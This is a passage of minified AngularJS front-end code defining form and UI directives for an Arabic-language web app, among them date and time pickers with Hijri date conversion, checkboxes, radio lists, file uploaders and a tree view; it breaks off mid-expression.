var app=app||angular.module("myApp",[]);window.$=window.jQuery,app.directive("iDate",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",$(n).find("select").focus(()=>{$(".popup").hide()}),e.days1=[];for(let n=1;n<32;n++)e.days1.push(n);e.years1=[];for(let n=1900;n<2100;n++)e.years1.push(n);e.monthes1=["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"]},restrict:"E",require:"ngModel",scope:{v:"@",label:"@",disabled:"@",ngModel:"="},template:'\n <div class="row i-date">\n \n <div class=" control">\n <label> {{label}} </label>\n <div class="row">\n <div class="col3 day"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="ngModel.day" class="appearance-none no-border-left no-border-radius" >\n <option ng-repeat="d1 in days1" ng-value="d1"> {{d1}} </option>\n </select>\n </div>\n <div class="col5 month"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="ngModel.month" class="appearance-none no-border-left no-border-right no-border-radius" >\n <option ng-repeat="m1 in monthes1" ng-value="$index"> {{m1}} </option>\n </select>\n </div>\n <div class="col4 year"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="ngModel.year" class="appearance-none no-border-right no-border-radius" >\n <option ng-repeat="y1 in years1" ng-value="y1"> {{y1}} </option>\n </select>\n </div>\n </div>\n </div>\n \n \n </div>\n '}}),app.directive("iDate2",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.y_search=l.year||"202",e.m_search=l.month||"",e.d_search=l.day||"",e.days1=[];for(let n=1;n<32;n++)e.days1.push({id:n,name:n});e.years1=[];for(let n=1900;n<2100;n++)e.years1.push({id:n,name:n});e.monthes1=[{id:0,name:"يناير / Jan"},{id:1,name:"فبراير / Feb"},{id:2,name:"مارس / Mar"},{id:3,name:"ابريل / Aper"},{id:4,name:"مايو / May"},{id:5,name:"يونيو / June"},{id:6,name:"يوليو / Jule"},{id:7,name:"اغسطس / Aug"},{id:8,name:"سبتمبر / Sep"},{id:9,name:"اكتوبر / Oct"},{id:10,name:"نوفمبر / Nov"},{id:11,name:"ديسمبر / Des"}],e.model=null,e.$watch("ngModel",function(n){n?(n=new Date(n),e.model=e.model||{},e.model.day=n.getDate(),e.model.day_name=e.model.day,e.model.month=n.getMonth(),e.model.month_name=e.monthes1.find(n=>n.id==e.model.month).name,e.model.year=n.getFullYear(),e.model.year_name=e.model.year):(e.model=e.model||{},e.model.day=0,e.model.day_name="",e.model.month=-1,e.model.month_name="",e.model.year=0,e.model.year_name="")}),e.setDay=function(){e.ngModel=new Date},e.updateDate=function(n){n.year?(e.model.year=n.year.id,e.model.year_name=n.year.name):n.month?(e.model.month=n.month.id,e.model.month_name=n.month.name):n.day&&(e.model.day=n.day.id,e.model.day_name=n.day.name),e.model&&e.model.year&&e.model.day&&e.model.month>-1?e.ngModel=new Date(e.model.year,e.model.month,e.model.day,0,0,0):delete e.ngModel}},restrict:"E",require:"ngModel",scope:{v:"@",disabled:"@",label:"@",ngModel:"="},template:"/*##client-side/directive-core/i-date.html*/"}}),app.directive("iTime",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.model={},e.hours=[];for(let n=1;n<25;n++)e.hours.push(n);e.minutes=[];for(let n=0;n<60;n++)e.minutes.push(n);$(n).find("select").focus(()=>{$(".popup").hide()}),e.$watch("ngModel",function(n){n?(n.date=new Date(n.date),e.model=e.model||{},e.model.hour=n.hour,e.model.minute=n.minute):(e.model=e.model||{},e.model.hour=0,e.model.minute=0)}),e.updateTime=function(){e.model?(e.ngModel=e.ngModel||{},e.ngModel.hour=e.model.hour,e.ngModel.minute=e.model.minute,e.ngModel.date=new Date(null,null,null,e.model.hour,e.model.minute,null)):delete e.ngModel}},restrict:"E",require:"ngModel",scope:{v:"@",disabled:"@",label:"@",ngModel:"="},template:'\n <div class="row i-time">\n <div class=" control ">\n <label class="text-center"> {{label}} </label>\n <div class="row">\n <div class="col6 right">\n <div class="row">\n <div class="col2"></div>\n <div class="col8">\n <select ng-disabled="disabled" ng-model="model.minute" ng-change="updateTime()" class="small appearance-none no-border-left no-border-radius" >\n <option ng-repeat="m in minutes" ng-value="m"> {{m}}</option>\n </select>\n </div>\n <div class="col2"></div>\n </div>\n \n </div>\n <div class="col6">\n <div class="row">\n <div class="col2 space right">\n <span> : </span>\n </div>\n <div class="col8">\n <select ng-disabled="disabled" ng-model="model.hour" ng-change="updateTime()" class="large blue appearance-none no-border-left no-border-radius" >\n <option ng-repeat="h in hours" ng-value="h"> {{h}} </option>\n </select>\n </div>\n \n </div>\n \n </div>\n </div>\n </div>\n '}}),app.directive("iDatetime2",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.hour1=[];for(let n=1;n<25;n++)e.hour1.push(n);e.minute_list=[];for(let n=1;n<60;n++)e.minute_list.push({name:n});e.days1=[];for(let n=1;n<32;n++)e.days1.push(n);e.years1=[];for(let n=1900;n<2100;n++)e.years1.push(n);e.monthes1=["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],e.model=null,$(n).find("select").focus(()=>{$(".popup").hide()}),e.$watch("ngModel",function(n){n?(n=new Date(n),e.model=e.model||{},e.model.hour=n.getHours(),e.model.minute=n.getMinutes(),e.model.day=n.getDate(),e.model.month=n.getMonth(),e.model.year=n.getFullYear()):(e.model=e.model||{},e.model.hour=0,e.model.minute=0,e.model.day=0,e.model.month=-1,e.model.year=0)}),e.updateDate=function(){e.model&&e.model.year&&e.model.day?e.ngModel=new Date(e.model.year,e.model.month,e.model.day,e.model.hour,e.model.minute):delete e.ngModel}},restrict:"E",require:"ngModel",scope:{v:"@",disabled:"@",label:"@",ngModel:"="},template:'\n <div class="row i-datetime2">\n \n <div class=" control">\n <label> {{label}} </label>\n <div class="row">\n\n <div class="col2 day"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.day" ng-change="updateDate()" class="appearance-none no-border-left no-border-radius" >\n <option ng-repeat="d1 in days1" ng-value="d1"> {{d1}} </option>\n </select>\n </div>\n <div class="col5 month"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.month" ng-change="updateDate()" class="appearance-none no-border-left no-border-right no-border-radius" >\n <option ng-repeat="m1 in monthes1" ng-value="$index"> {{m1}} </option>\n </select>\n </div>\n <div class="col3 year"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.year" ng-change="updateDate()" class="appearance-none no-border-right no-border-radius" >\n <option ng-repeat="y1 in years1" ng-value="y1"> {{y1}} </option>\n </select>\n </div>\n\n <div class="col1 hour"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.hour" ng-change="updateDate()" class="appearance-none no-border-radius" >\n <option ng-repeat="h1 in hour1" ng-value="h1"> {{h1}} </option>\n </select>\n </div>\n <div class="col1 minute"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.minute" ng-change="updateDate()" class="green appearance-none no-border-right no-border-radius" >\n <option ng-repeat="m1 in minute_list" ng-value="m1.name" class="green"> {{m1.name}} </option>\n </select>\n </div>\n\n </div>\n </div>\n \n \n </div>\n '}}),app.directive("iMonth2",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.years=[];for(let n=1900;n<2100;n++)e.years.push(n);e.monthes=["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],e.model=null,$(n).find("select").focus(()=>{$(".popup").hide()}),e.$watch("ngModel",function(n){n?(n=new Date(n),e.model=e.model||{},e.model.day=1,e.model.month=n.getMonth(),e.model.year=n.getFullYear()):(e.model=e.model||{},e.model.day=0,e.model.month=-1,e.model.year=0)}),e.updateDate=function(){e.model&&e.model.year?e.ngModel=new Date(e.model.year,e.model.month,1):delete e.ngModel}},restrict:"E",require:"ngModel",scope:{v:"@",label:"@",disabled:"@",ngModel:"="},template:'\n <div class="row i-date2">\n \n <div class=" control">\n <label> {{label}} </label>\n <div class="row">\n \n <div class="col7 month"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="model.month" ng-change="updateDate()" class="appearance-none no-border-left no-border-radius" >\n <option ng-repeat="m1 in monthes" ng-value="$index"> {{m1}} </option>\n </select>\n </div>\n\n <div class="col5 year"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="model.year" ng-change="updateDate()" class="appearance-none no-border-right no-border-radius" >\n <option ng-repeat="y1 in years" ng-value="y1"> {{y1}} </option>\n </select>\n </div>\n\n </div>\n </div>\n \n \n </div>\n '}}),app.directive("iFulldate",["$http",function(e){return{link:function(n,l,d,a){let i=!1;void 0!==d.disabled?d.disabled="disabled":d.disabled="",$(l).find("select").focus(()=>{$(".popup").hide()}),n.days1=[];for(let e=1;e<32;e++)n.days1.push(e);n.years1=[];for(let e=1950;e<2030;e++)n.years1.push(e);n.monthes1=["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],n.days2=[];for(let e=1;e<31;e++)n.days2.push(e);n.years2=[];for(let e=1370;e<1450;e++)n.years2.push(e);n.monthes2=["محرم","صفر","ربيع اول","ربيع ثان","جمادى اول","جمادى ثان","رجب","شعبان","رمضان","شوال","ذى القعدة","ذى الحجة"],n.model={},n.$watch("ngModel",function(e){n.model=e||{}}),n.$watch("ngModel.date",function(e){e&&("string"==typeof e&&(e=new Date(e)),n.model=n.model||{},n.model.date=e,n.model.day=e.getDate(),n.model.month=e.getMonth(),n.model.year=e.getFullYear(),n.get_hijri_date())}),n.get_hijri_date=function(){if(n.model&&n.model.year&&n.model.day){if(a.$setViewValue(n.model),i)return;i=!0,n.model.date=new Date(n.model.year,n.model.month,n.model.day),e({method:"POST",url:"/api/get_hijri_date",data:{date:n.model.year+"/"+(n.model.month+1)+"/"+n.model.day}}).then(e=>{e.data.done&&(n.model.hijri=e.data.hijri,n.model.day2=parseInt(n.model.hijri.split("/")[2]),n.model.month2=parseInt(n.model.hijri.split("/")[1])-1,n.model.year2=parseInt(n.model.hijri.split("/")[0]),a.$setViewValue(n.model),i=!1)}).catch(()=>{i=!1})}},n.get_normal_date=function(){if(n.model&&n.model.year2&&n.model.day2){if(a.$setViewValue(n.model),i)return;i=!0,e({method:"POST",url:"/api/get_normal_date",data:{hijri:n.model.year2+"/"+(n.model.month2+1)+"/"+n.model.day2}}).then(e=>{e.data.done&&(n.model.date=new Date(e.data.date),n.model.day=parseInt(e.data.date.split("/")[2]),n.model.month=parseInt(e.data.date.split("/")[1])-1,n.model.year=parseInt(e.data.date.split("/")[0]),a.$setViewValue(n.model),i=!1)}).catch(()=>{i=!1})}}},restrict:"E",require:"ngModel",scope:{v:"@",label1:"@",label2:"@",disabled:"@",ngModel:"=",ngChange:"&"},template:'\n <div class="row i-date">\n \n <div class="col6 control">\n <label> {{label1}} </label>\n <div class="row">\n <div class="col3 day"> \n <select ng-change="get_hijri_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.day" class="appearance-none no-border-left no-border-radius">\n <option ng-repeat="d1 in days1" ng-value="d1"> {{d1}} </option>\n </select>\n </div>\n <div class="col5 month"> \n <select ng-change="get_hijri_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.month" class="appearance-none no-border-left no-border-right no-border-radius">\n <option ng-repeat="m1 in monthes1" ng-value="$index"> {{m1}} </option>\n </select>\n </div>\n <div class="col4 year"> \n <select ng-change="get_hijri_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.year" class="appearance-none no-border-right no-border-radius">\n <option ng-repeat="y1 in years1" ng-value="y1"> {{y1}} </option>\n </select>\n </div>\n </div>\n </div>\n \n <div class="col6 control">\n <label> {{label2}} </label>\n <div class="row">\n <div class="col3 day"> \n <select ng-change="get_normal_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.day2" class="appearance-none no-border-left no-border-radius">\n <option ng-repeat="d2 in days2" ng-value="d2"> {{d2}} </option>\n </select>\n </div>\n <div class="col5 month"> \n <select ng-change="get_normal_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.month2" class="appearance-none no-border-left no-border-right no-border-radius">\n <option ng-repeat="m2 in monthes2" ng-value="$index"> {{m2}} </option>\n </select>\n </div>\n <div class="col4 year"> \n <select ng-change="get_normal_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.year2" class="appearance-none no-border-right no-border-radius">\n <option ng-repeat="y2 in years2" ng-value="y2"> {{y2}} </option>\n </select>\n </div>\n </div>\n </div>\n \n </div>\n '}}]),app.directive("iControl",function(){return{restrict:"E",require:"ngModel",scope:{v:"@",id2:"@",label:"@",type:"@",disabled:"@",ngModel:"=",ngChange:"&",ngKeydown:"&"},link:function(e,n,l,d){l.type=l.type||"text",void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.$watch(l.ngModel,function(e){})},template:'\n <div class="control">\n <label> {{label}} </label>\n <input id="{{id2}}" ng-disabled="disabled" autofocus v="{{v}}" type="{{type}}" ng-model="ngModel" ng-change="ngChange()" ngKeydown="ngKeydown()">\n </div>\n '}}),app.directive("iTextarea",function(){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",disabled:"@",rows:"@",ngModel:"=",ngChange:"&"},link:function(e,n,l,d){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.rows=e.rows||4,$(n).find("textarea").focus(()=>{$(".popup").hide()})},template:'\n <div class="control">\n <label> {{label}} </label>\n <textarea ng-disabled="disabled" rows="{{rows}}" v="{{v}}" ng-model="ngModel" ng-change="ngChange()"></textarea>\n </div>\n '}}),app.directive("iCheckbox",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",ngModel:"=",ngChange:"&"},link:function(e,n,l,d){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.updateModal=function(n){return"disabled"!=l.disabled&&(e.ngModel=!n,!0)}},template:'\n <div class="selector" ng-class="{\'selected\' : ngModel , \'un-selected\' : !ngModel }" ng-click="updateModal(ngModel);ngChange($event , ngModel)">\n <i ng-show="!ngModel" class="fa fa-square"></i> <i ng-show="ngModel" class="fa fa-check"></i> {{label}}\n </div>\n '}}),app.directive("iCheckbox2",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",ngModel:"="},link:function(e,n,l,d){},template:'\n <div class="control">\n <label class="checkbox">\n <span class="title"> {{label}} </span>\n <input type="checkbox" ng-model="ngModel" >\n <span class="checkmark"></span>\n </label>\n </div>\n '}}),app.directive("iRadio",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",ngValue:"@",group:"@",ngModel:"="},link:function(e,n,l,d){l.group||(l.group=l.ngModel),e.changeModal=function(n){e.ngModel=n},e.$watch("ngModel",n=>{n&&e.ngValue}),e.$watch("ngValue",n=>{n&&e.ngModel})},template:'\n <div group="{{group}}" class="selector" ng-class="{\'selected\' : ngModel == ngValue , \'un-selected\' : ngModel != ngValue }" ng-click="changeModal(ngValue);ngChange($event , ngModel , ngValue)">\n <i ng-show="ngModel != ngValue" class="fa fa-circle"></i> <i ng-show="ngModel == ngValue" class="fa fa-circle"></i> {{label}}\n </div>\n '}}),app.directive("iRadio2",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",ngValue:"@",group:"@",ngModel:"="},link:function(e,n,l,d){l.group||(l.group=l.ngModel);let a=$(n).find("input");e.$watch("ngModel",n=>{n&&(e.ngModel=n,n==e.ngValue&&a.prop("checked",!0))}),e.$watch("ngValue",n=>{n&&n==e.ngModel&&a.prop("checked",!0)})},template:'\n <div class="control">\n <label class="radio">\n <span > {{label}} </span>\n <input name="{{group}}" ng-value="ngValue" type="radio" ng-model="ngModel" >\n <span class="checkmark"></span>\n </label>\n </div>\n '}}),app.directive("iButton",function(){return{restrict:"E",scope:{label:"@",type:"@",click:"@",fa:"@"},link:function(e,n,l,d){!l.fa&&l.type&&(l.type.like("*exit*")||l.type.like("*close*")?l.fa="times":l.type.like("*view*")||l.type.like("*details*")?l.fa="file":l.type.like("*add*")||l.type.like("*new*")?l.fa="plus-circle":l.type.like("*update*")||l.type.like("*edit*")?l.fa="edit":l.type.like("*save*")?l.fa="save":l.type.like("*delete*")||l.type.like("*remove*")?l.fa="trash":l.type.like("*print*")?l.fa="print":l.type.like("*search*")?l.fa="search":(l.type.like("*export*")||l.type.like("*excel*"))&&(l.fa="table"))},template:'\n <button class="btn {{type}}">\n {{label}}\n <i ng-show="fa" class="fa fa-{{fa}}" aria-hidden="true"></i> </button>\n '}}),app.directive("iList",["$interval","$timeout","isite",function(e,n,l){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",css:"@",space:"@",primary:"@",ngValue:"@",ngModel:"=",ngSearch:"=",ngChange:"&",ngAdd:"&",items:"="},link:function(e,d,a,i){e.display=a.display=a.display||"name",e.primary=a.primary=a.primary||"id",a.space=a.space||" ",a.ngValue=a.ngValue||"",e.searchElement=$(d).find(".dropdown .search"),e.popupElement=$(d).find(".dropdown .dropdown-content"),void 0!==a.disabled?a.disabled="disabled":a.disabled="",void 0===a.ngAdd?e.fa_add="fa-search":e.fa_add="fa-plus",void 0===a.ngSearch?e.showSearch=!1:e.showSearch=!0;let t=$(d).find("input");e.focus=function(){e.searchElement.focus()},e.getValue=function(n){let d=l.getValue(n,e.display);return d||""},e.getValue2=function(n){return e.display2&&l.getValue(n,e.display2)||""},e.getNgModelValue=function(n){return n&&e.display&&e.ngValue?l.getValue(n,e.display.replace(e.ngValue+".",""))||"":n&&e.display&&l.getValue(n,e.display)||""},e.getNgModelValue2=function(n){return n&&e.display2&&e.ngValue?l.getValue(n,e.display2.replace(e.ngValue+".",""))||"":n&&e.display2&&l.getValue(n,e.display2)||""},e.getNgValue=function(n){return n&&e.ngValue?l.getValue(n,e.ngValue):n},e.$watch("items",n=>{t.val(""),n&&n.forEach(n=>{n.$display=e.getValue(n)+a.space+e.getValue2(n)}),n&&e.ngModel&&n.forEach(n=>{l.getValue(n,e.primary)==l.getValue(e.ngModel,e.primary)&&(e.ngModel=n,n.$display=e.getValue(n)+a.space+e.getValue2(n),t.val(n.$display))})}),e.$watch("ngModel",n=>{t.val(""),e.ngModel=n,n&&t.val(" "+e.getNgModelValue(n)+a.space+e.getNgModelValue2(n))}),e.updateModel=function(l){e.ngModel=e.getNgValue(l,e.ngValue),t.val(e.getNgModelValue(e.ngModel)+a.space+e.getNgModelValue2(e.ngModel)),n(()=>{e.ngChange()})}},template:"/*##client-side/directive-core/i-list.html*/"}}]),app.directive("iChecklist",["$interval",function(e){return{restrict:"E",required:"ngModel",scope:{label:"@",primary:"@",display:"@",ngModel:"=",items:"=",like:"&"},link:function(e,n,l,d){l.primary=l.primary||"id",e.selectedItems=[],e.$watch("ngModel",n=>{e.reload()}),e.reload=function(){e.selectedItems=[],e.ngModel&&(e.ngModel.forEach(n=>{e.selectedItems.push(n)}),e.items&&e.items.forEach(n=>{let l=!1;e.selectedItems.forEach(d=>{n[e.primary]===d[e.primary]&&(l=!0)}),n.$selected=!!l})),e.ngModel||(e.selectedItems=[],e.items&&e.items.forEach(e=>{e.$selected=!1}))},e.change=function(n){if(n.$selected=!n.$selected,n.$selected){let l=!1;e.selectedItems.forEach(d=>{d[e.primary]===n[e.primary]&&(l=!0)}),l||e.selectedItems.push(n)}else e.selectedItems.forEach((l,d)=>{l[e.primary]===n[e.primary]&&e.selectedItems.splice(d,1)});e.ngModel=e.selectedItems}},template:'\n <div class="row padding check-list">\n <label class="title"> {{label}} </label>\n <div ng-repeat="item in items" ng-click="change(item);ngChange($event , item);" class="selector" ng-class="{\'selected\' : item.$selected , \'un-selected\' : !item.$selected }" >\n <i ng-show="!item.$selected" class="fa fa-square"></i> <i ng-show="item.$selected" class="fa fa-check"></i> {{item[display]}}\n </div>\n </div>\n '}}]),app.directive("iChecklist2",["$interval",function(e){return{restrict:"E",required:"ngModel",scope:{label:"@",primary:"@",display:"@",ngModel:"=",items:"=",like:"&"},link:function(e,n,l,d){l.primary=l.primary||"id",e.selectedItems=[],e.$watch("ngModel",n=>{e.reload()}),e.reload=function(){e.selectedItems=[],e.ngModel&&(e.ngModel.forEach(n=>{e.selectedItems.push(n)}),e.items&&e.items.forEach(n=>{let l=!1;e.selectedItems.forEach(d=>{n[e.primary]===d[e.primary]&&(l=!0)}),n.$selected=!!l})),e.ngModel||(e.selectedItems=[],e.items&&e.items.forEach(e=>{e.$selected=!1}))},e.change=function(n){if(n.$selected){let l=!1;e.selectedItems.forEach(d=>{d[e.primary]===n[e.primary]&&(l=!0)}),l||e.selectedItems.push(n)}else e.selectedItems.forEach((l,d)=>{l[e.primary]===n[e.primary]&&e.selectedItems.splice(d,1)});e.ngModel=e.selectedItems}},template:'\n <div class="row padding check-list">\n <label class="title"> {{label}} </label>\n <div class="control" ng-repeat="item in items">\n <label class="checkbox" >\n <span > {{item[display]}} </span>\n <input type="checkbox" ng-model="item.$selected" ng-change="change(item)" >\n <span class="checkmark"></span>\n </label>\n </div>\n </div>\n '}}]),app.directive("iRadiolist",["$interval",function(e){return{restrict:"E",required:"ngModel",scope:{label:"@",display:"@",ngModel:"=",items:"="},link:function(e,n,l){e.model=e.ngModel,e.code="radio_"+Math.random(),e.change=function(n){e.ngModel=n},e.isChecked=function(n){return!(!n||!e.ngModel||e.ngModel.id!==n.id)}},template:'\n <div class="row padding radio-list">\n <label class="title"> {{label}} </label>\n <div class="control" ng-repeat="item in items">\n <label class="radio" >\n <span > {{item[display]}} </span>\n <input name="{{code}}" type="radio" ng-model="model" ng-checked="isChecked(item)" ng-click="change(item)" ng-change="change(item)" >\n <span class="checkmark"></span>\n </label>\n </div>\n </div>\n '}}]),app.directive("iFile",["$interval","isite",function(e,n){return{restrict:"E",required:"ngModel",scope:{label:"@",type:"@",ngModel:"=",ngClick:"&",onSelected:"&"},link:function(e,n,l,d){e.type=e.type||"bg-green";let a=$(n).find("input")[0],i=$(n).find("a")[0];""!==l.view&&i.addEventListener("click",function(){a.click()}),a.addEventListener("change",function(){e.ngModel=this.files[0].path,e.onSelected(this.files[0].path),e.$applyAsync()}),e.$watch("ngModel",e=>{e&&i.setAttribute("url",e)})},template:'\n <form class="form text-center pointer">\n <input class="hidden" type="file" name="file" />\n <a class="btn {{type}}" ngClick="ngClick()" url="{{ngModel}}"> {{label}} </a>\n </form>\n '}}]),app.directive("iImage",["$interval","isite",function(e,n){return{restrict:"E",required:"ngModel",scope:{category:"@",ngModel:"=",ngClick:"&"},link:function(e,l,d,a){e.category=e.category||"default";let i=$(l).find("input")[0],t=$(l).find("img")[0],o=$(l).find("progress")[0];$(o).hide(),""!==d.view&&t.addEventListener("click",function(){i.click()}),i.addEventListener("change",function(){n.uploadImage(this.files,{category:e.category},(n,l,d)=>{d&&($(o).show(),o.value=d.loaded,o.max=d.total),l&&(e.ngModel=l.url)})}),e.$watch("ngModel",e=>{e&&t.setAttribute("src",e)})},template:'\n <form class="form text-center pointer">\n <input class="hidden" type="file" name="file" />\n <img class="bg-white" ng-src="{{ngModel}}" ngClick="ngClick()" onerror="this.src=\'/images/no.jpg\'" />\n <progress class="row"></progress>\n </form>\n '}}]),app.directive("iUpload",["$interval","isite",function(e,n){return{restrict:"E",required:"ngModel",scope:{label:"@",api:"@",type:"@",ngModel:"=",ngClick:"&",onUploaded:"&"},link:function(e,l,d,a){e.type=e.type||"bg-green";let i=$(l).find("input")[0],t=$(l).find("a")[0],o=$(l).find("progress")[0];$(o).hide(),""!==d.view&&t.addEventListener("click",function(){i.click()}),i.addEventListener("change",function(){n.upload(this.files,{api:e.api},(n,l,d)=>{d&&($(o).show(),o.value=d.loaded,o.max=d.total),l&&(e.ngModel=l.url,e.onUploaded())})}),e.$watch("ngModel",e=>{e&&t.setAttribute("url",e)})},template:'\n <form class="form text-center pointer">\n <input class="hidden" type="file" name="file" />\n <a class="btn {{type}}" ngClick="ngClick()" url="{{ngModel}}"> {{label}} </a>\n <progress class="row"></progress>\n </form>\n '}}]),app.directive("iFiles",["$interval","isite",function(e,n){return{restrict:"E",required:"ngModel",scope:{category:"@",label:"@",ngModel:"="},link:function(l,d,a,i){""===a.view&&(l.viewOnly=!0);let t=$(d).find("progress")[0];l.category=l.category||"default",l.id=Math.random().toString().replace(".","_"),l.deleteFile=function(e){n.deleteFile(e,()=>{for(let n=0;n<l.ngModel.length;n++){let d=l.ngModel[n];if(d.url===e.url)return void l.ngModel.splice(n,1)}})};let o=!1;e(()=>{if(!o)if(""!==a.view){let e=document.querySelector("#btn_"+l.id);e&&(o=!0,e.addEventListener("click",function(){document.querySelector("#input_"+l.id).click()}));let d=document.querySelector("#input_"+l.id);d&&d.addEventListener("change",function(){n.uploadFile(this.files,{category:l.category},(e,n,d)=>{d&&($(t).show(),t.value=d.loaded,t.max=d.total),n&&(void 0===l.ngModel&&(l.ngModel=[]),l.ngModel.push(n.url))})})}else o=!0},500)},template:'\n <div class="files">\n <label> {{label}} </label>\n <form ng-if="viewOnly !== !0" id="img_{{id}}" class="form text-center pointer">\n <input id="input_{{id}}" class="hidden" type="file" name="file" />\n <a id="btn_{{id}}" class="btn bg-green"> <i class="fa fa-upload white"></i> </a>\n </form>\n <progress class="row"></progress>\n <div class="padding">\n \n <div class="row padding" ng-repeat="f in ngModel">\n <h2> \n <a class="btn default bg-blue" href="{{f.url}}"> <i class="fa fa-2x fa-download white"></i> </a>\n <a ng-if="viewOnly !== !0" class="btn default bg-red" ng-click="deleteFile(f)"> <i class="fa fa-trash white"></i> </a>\n <span> {{f}} </span>\n </h2> \n </div>\n </div>\n </div>\n \n '}}]),app.directive("iDrag",["$document",function(e){return function(n,l,d){function a(e){r=e.screenY-o,s=e.screenX-t,l.css({top:r+"px",left:s+"px"})}function i(){e.off("mousemove",a),e.off("mouseup",i)}var t=0,o=0,s=0,r=0;l.css({position:"relative"}),l.on("mousedown",function(n){n.preventDefault(),t=n.screenX-s,o=n.screenY-r,e.on("mousemove",a),e.on("mouseup",i)})}}]),app.directive("iTreeview",["$interval","$timeout","isite",function(e,n,l){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",space:"@",primary:"@",ngValue:"@",ngModel:"=",ngSearch:"=",ngChange:"&",ngClick:"&",ngAdd:"&",ngNode:"&",ngEdit:"&",ngDelete:"&",nodes:"="},link:function(e,n,l,d){l.display=l.display||"name",l.primary=l.primary||"id",l.space=l.space||" ",l.ngValue=l.ngValue||"",e.source={},e.setNodes=function(n){n.nodes.forEach(n=>{n.nodes=n.nodes||[],e.nodes.forEach(e=>{if(e.$parent_id==n.id){e.v_display=e.v_display||"",e.v_display+=e[l.display];let d=!1;n.nodes.forEach(n=>{n.id==e.id&&(d=!0)}),d||n.nodes.push(e)}}),e.setNodes(n)})},e.v_nodes=[],e.$watch("ngModel",n=>{n&&(e.ngModel=n,e.ngModel.v_display=e.ngModel.v_display||n[l.display])}),e.$watch("nodes",n=>{e.v_nodes=[],n&&(n.forEach(n=>{if(n.$parent_id=n.parent_id||0,n.v_display=n.v_display||"",n.v_display+=n[l.display],0==n.$parent_id){let l=!1;e.v_nodes.forEach(e=>{e.id==n.id&&(l=!0)}),l||e.v_nodes.push(n)}}),e.v_nodes.forEach(d=>{d.nodes=d.nodes||[],n.forEach(e=>{if(e.$parent_id=e.parent_id||0,e.$parent_id==d.id){e.v_display=e.v_display||"",e.v_display+=e[l.display];let n=!1;d.nodes.forEach(l=>{l.id==e.id&&(n=!0)}),n||d.nodes.push(e)}}),e.setNodes(d)}))})},template:'\n <div class="treeview">\n <ul >\n <li ng-dblclick="$event.preventDefault();$event.stopPropagation();source.$actions = !0" ng-mouseleave="source.$actions = !1">\n \n <i ng-hide="openTree" class="fa fa-folder"></i> <i ng-show="openTree" class="fa fa-folder"></i> \n \n\n <span ng-click="openTree = !openTree" class="title"> {{label}} <small class="display"> [ {{ngModel.v_display}} ] </small> </span>\n <div class="actions" ng-show="source.$actions === !0">\n <i-button type="add default" ng-click="ngClick($event , ngModel);ngNode($event , ngModel)"></i-button>\n </div>\n <i-treenode display="{{display}}" ng-click="ngClick($event)" ng-add="ngAdd()" ng-edit="ngEdit()" ng-delete="ngDelete()" ng-show="openTree" ng-model="ngModel" nodes="v_nodes" ></i-treenode>\n </li>\n </ul>\n </div>\n '}}]),app.directive("iTreenode",["$interval","$timeout","isite",function(e,n,l){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",space:"@",primary:"@",ngValue:"@",ngChange:"&",ngClick:"&",ngAdd:"&",ngEdit:"&",ngDelete:"&",ngModel:"=",ngSearch:"=",nodes:"=",nodes:"="},link:function(e,n,l,d){l.display=l.display||"name",l.primary=l.primary||"id",l.space=l.space||" ",l.ngValue=l.ngValue||"",e.nodes=e.nodes||[],e.v_nodes=[],e.$watch("nodes",n=>{e.v_nodes=[],n&&n.forEach((e,n)=>{e.nodes&&e.nodes.forEach((n,d)=>{n.$parent_id=n.parent_id||e.id,n.v_display=e.v_display||" ",n.v_display+=" - "+n[l.display]})})}),e.updateParentModal=function(n,l){n&&(n.ngModel=l,n.$parent&&e.updateParentModal(n.$parent,l))},e.unSelectParent=function(n){n&&n.nodes&&(n.nodes.forEach(e=>{e.$selected=!1}),n.$parent&&e.unSelectParent(n.$parent))},
|
|
2
|
+
